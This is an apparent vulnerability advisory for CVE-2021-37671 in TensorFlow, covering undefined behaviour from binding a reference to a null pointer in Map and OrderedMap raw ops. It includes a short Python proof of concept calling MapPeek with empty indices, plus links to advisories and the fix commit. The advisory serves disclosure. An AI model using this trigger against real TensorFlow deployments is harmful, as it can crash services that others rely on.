CVE-2021-37671: Reference binding to nullptr in map operations
(updated )
An attacker can cause undefined behavior via binding a reference to null pointer in tf.raw_ops.Map* and tf.raw_ops.OrderedMap* operations:
import tensorflow as tf
tf.raw_ops.MapPeek(
key=tf.constant([8],dtype=tf.int64),
indices=[],
dtypes=[tf.int32],
capacity=8,
memory_limit=128)
References
- github.com/advisories/GHSA-qr82-2c78-4m8h
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-584.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-782.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-293.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/532f5c5a547126c634fefd43bbad1dc6417678ac
- github.com/tensorflow/tensorflow/security/advisories/GHSA-qr82-2c78-4m8h
- nvd.nist.gov/vuln/detail/CVE-2021-37671
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